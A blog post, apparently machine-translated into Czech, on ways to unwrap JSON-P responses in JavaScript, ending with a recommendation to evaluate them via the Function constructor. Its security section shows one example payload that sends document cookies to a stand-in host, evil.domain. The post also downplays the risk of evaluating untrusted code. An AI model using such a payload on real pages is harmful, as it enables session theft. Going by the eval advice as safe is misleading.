Rozbalení JSON-P

Toto je rychlý jednoduchý příspěvek o technikách JavaScriptu. Podíváme se na to, jak rozbalit výplň volání funkce „P“ z řetězce JSON-P, abychom z něj získali JSON.

Poznámka: Je zřejmé, že nedávný tlak na všudypřítomnost CORS v dnešní době činí JSON-P méně důležitým. Ale stále existuje spousta rozhraní API pro obsluhu JSON-P a zůstává důležitou součástí vytváření požadavků Ajax mezi doménami.

Scénář:obdržíte (jakýmikoli prostředky:Ajax, cokoliv) řetězec JSON-P (jako foo({"id":42}) ) data, řekněme z nějakého volání API, a chcete extrahovat data JSON pro použití ve vaší aplikaci.

Klasické zpracování JSON-P

Nejběžnějším přístupem je přímé načtení dat JSON-P do externího <script> element (za předpokladu, že je možné získat tato data přímo přes URL):

var s = document.createElement( "script" );
s.src = "http://some.api.url/?callback=foo&data=whatever";
document.head.appendChild( s );

Za předpokladu foo({"id":42}) se vrátí z takového volání URL a existuje globální foo(..) funkce, která má být volána, samozřejmě obdrží {"id":42} Datový paket JSON.

Existují stovky různých knihoven/rámců JS, které takové zpracování JSON-P automatizují. Napsal jsem jXHR před lety jako jednoduchý PoC, že bychom mohli dokonce vytvořit rozhraní podobné XHR pro volání JSON-P, které vypadalo takto:

var x = new jXHR();

x.onreadystatechange = function(data) {
    if (x.readyState == 4) {
        console.log( data.id ); // 42
    }
};

x.open( "GET", "http://some.api.url/?callback=?&data=whatever" );

x.send();

Problémy JSON-P

Existují určité problémy s klasickým přístupem ke zpracování JSON-P.

Prvním nejkřiklavějším problémem je, že musíte mít globální foo(..) funkce deklarována. Někteří lidé (a některá rozhraní API JSON-P) umožňují něco jako bar.foo(..) jako zpětné volání, ale to není vždy povoleno, a dokonce ani bar je globální proměnná (jmenný prostor). Jak se JS a web posouvají směrem k funkcím ES6, jako jsou moduly, a silně odstraňují důraz na globální proměnné/funkce, myšlenka nutnosti vyvěšovat globální proměnnou/funkci, aby zachytila ​​příchozí datová volání JSON-P, se stává velmi neatraktivní.

FWIW, jXHR automaticky generuje jedinečné názvy funkcí (jako jXHR.cb123(..) ) za účelem předání volání JSON-P API, aby váš kód nemusel zpracovávat tyto podrobnosti. Protože již existuje jXHR jmenný prostor, je o něco přijatelnější, že jXHR pohřbívá své funkce v tomto jmenném prostoru.

Bylo by však hezké, kdyby existoval čistší způsob (knihovna sans), jak zvládnout JSON-P bez takových globálních proměnných/funkcí. Více o tom za chvíli.

Dalším problémem je, že pokud budete provádět mnoho volání JSON-P API, budete neustále vytvářet a přidávat DOM nové <script> prvků, což rychle zaplní DOM.

Samozřejmě, že většina nástrojů JSON-P (včetně jXHR) po sobě "uklidí" odstraněním <script> prvek z DOM, jakmile se spustí. Ale to není úplně čistá odpověď na problém, protože to bude vytvářet a zahazovat spoustu prvků DOM a operace DOM jsou vždy nejpomalejší a mají spoustu paměti.

A konečně, dlouho existovaly obavy ohledně bezpečnosti/důvěryhodnosti JSON-P. Vzhledem k tomu, že JSON-P je v podstatě jen náhodný JS, mohl by být vložen jakýkoli škodlivý kód JS.

Pokud například volání JSON-P API vrátilo:

foo({"id":42});(new Image()).src="http://evil.domain/?hijacking="+document.cookies;

Jak vidíte, tato další užitečná zátěž JS není něco, co bychom obecně měli chtít povolit.

Cílem json-p.org bylo definovat bezpečnější podmnožinu JSON-P a také nástroje, které vám umožnily ověřit (v rámci možností), že je váš paket JSON-P „bezpečný“ pro spuštění.

U této vrácené hodnoty však nemůžete provádět žádná taková ověření, pokud ji necháváte načítat přímo do <script> prvek.

Pojďme se tedy podívat na některé alternativy.

Vložení skriptu

Za prvé, pokud máte obsah JSON-P načtený jako string hodnotu (například prostřednictvím volání Ajax, například z proxy serveru Ajax na straně serveru stejné domény atd.), můžete hodnotu zpracovat před jejím vyhodnocením:

var jsonp = "..";

// first, do some parsing, regex filtering, or other sorts of
// whitelist checks against the `jsonp` value to see if it's
// "safe"

// now, run it:
var s = document.createElement( "script" );
s.text = jsonp;
document.head.appendChild( s );

Zde používáme "vložení skriptu" ke spuštění kódu JSON-P (poté, co jsme měli možnost jej zkontrolovat jakýmkoli způsobem), a to nastavením jako text z injekčně <script> prvek (na rozdíl od nastavení adresy URL rozhraní API na src jako výše).

Samozřejmě to má stále stinné stránky v tom, že ke zpracování volání funkce JSON-P jsou potřeba globální proměnné/funkce, a stále to přechází přes extra <script> prvky s režií, která přináší.

Dalším problémem je, že <script> -založené hodnocení nemá žádné elegantní zpracování chyb, protože nemáte příležitost použít try..catch například kolem něj (pokud ovšem nezměníte samotnou hodnotu JSON-P!).

Další nevýhodou spoléhání se na <script> elementem je, že to funguje pouze v prohlížečích . Pokud máte kód, který se musí spouštět mimo prohlížeč, například v node.js (například když kód vašeho uzlu spotřebovává nějaké jiné rozhraní API JSON-P), nebudete moci použít <script> zvládnout to.

Jaké jsou tedy naše další možnosti?

Přímé hodnocení

Možná se divíte:proč nemůžeme jednoduše udělat eval(jsonp) vyhodnotit kód JSON-P? Samozřejmě můžeme, ale má to spoustu nevýhod.

Hlavní citované obavy proti eval(..) jsou obvykle spuštěním nedůvěryhodného kódu , ale tyto obavy jsou zde diskutabilní, protože již řešíme JSON-P mohl být zlomyslný a už zvažujeme příležitost hodnotu nějakým způsobem zkontrolovat/filtrovat, pokud je to možné.

Skutečný důvod, proč nechcete používat eval(..) je JS jeden. Z různých důvodů pouhá přítomnost eval(..) ve vašem kódu zakáže různé optimalizace lexikálního rozsahu, které by normálně zrychlily váš kód. Tedy jinými slovy eval(..) zpomalí váš kód . Nikdy, nikdy byste neměli používat eval(..) . Období.

Ale je tu další možnost bez takových nevýhod. Můžeme použít Function(..) konstruktér. Nejen, že umožňuje přímé vyhodnocení bez <script> (takže to bude fungovat v node.js), ale také simultánně řeší celou tu nepříjemnost s globální proměnnou/funkcí!

Zde je návod, jak to udělat:

var jsonp = "..";

// parse/filter `jsonp`'s value if necessary

// wrap the JSON-P in a dynamically-defined function
var f = new Function( "foo", jsonp );

// `f` is now basically:
// function f(foo) {
//    foo({"id":42});
// }

// now, provide a non-global `foo()` to extract the JSON
f( function(json){
    console.log( json.id ); // 42
} )

Takže new Function( "foo", "foo({\"id\":42})" ) konstrukce function(foo){ foo({"id":42}) } , kterému říkáme f .

Vidíš, co se tam děje? JSON-P volá foo(..) , ale foo(..) už ani nemusí existovat globálně. Vložíme lokální (neglobální) funkci názvu parametru foo voláním f( function(json){ .. } ) a když běží JSON-P, není to o nic moudřejší!

Takže:

  1. Máme ruční vyhodnocení JSON-P, což nám dává možnost nejprve zkontrolovat hodnotu před manipulace.
  2. Ke zpracování volání funkce JSON-P již nepotřebujeme globální proměnné/funkce.
  3. Function(..) konstrukce nemá stejné zpomalení výkonu jako eval(..) (protože nemůže vytvářet vedlejší účinky rozsahu!).
  4. Tento přístup funguje buď v prohlížeči, nebo v node.js, protože se nespoléhá na <script> .
  5. Máme lepší schopnost zpracování chyb, protože můžeme zabalit try..catch kolem f(..) volání, zatímco s <script> to samé udělat nemůžete -založené hodnocení.

To je docela velká sada výher nad <script> !

Přehled

je Function(..) hodnocení perfektní? Samozřejmě že ne. Ale je to mnohem lepší a schopnější než klasický, běžný přístup JSON-P.

Pokud tedy stále používáte volání JSON-P API a je pravděpodobné, že mnoho z vás ano, možná budete chtít přehodnotit, jak je spotřebováváte. V mnoha případech starý <script> přístup zdaleka nedosahuje skutečného potenciálu.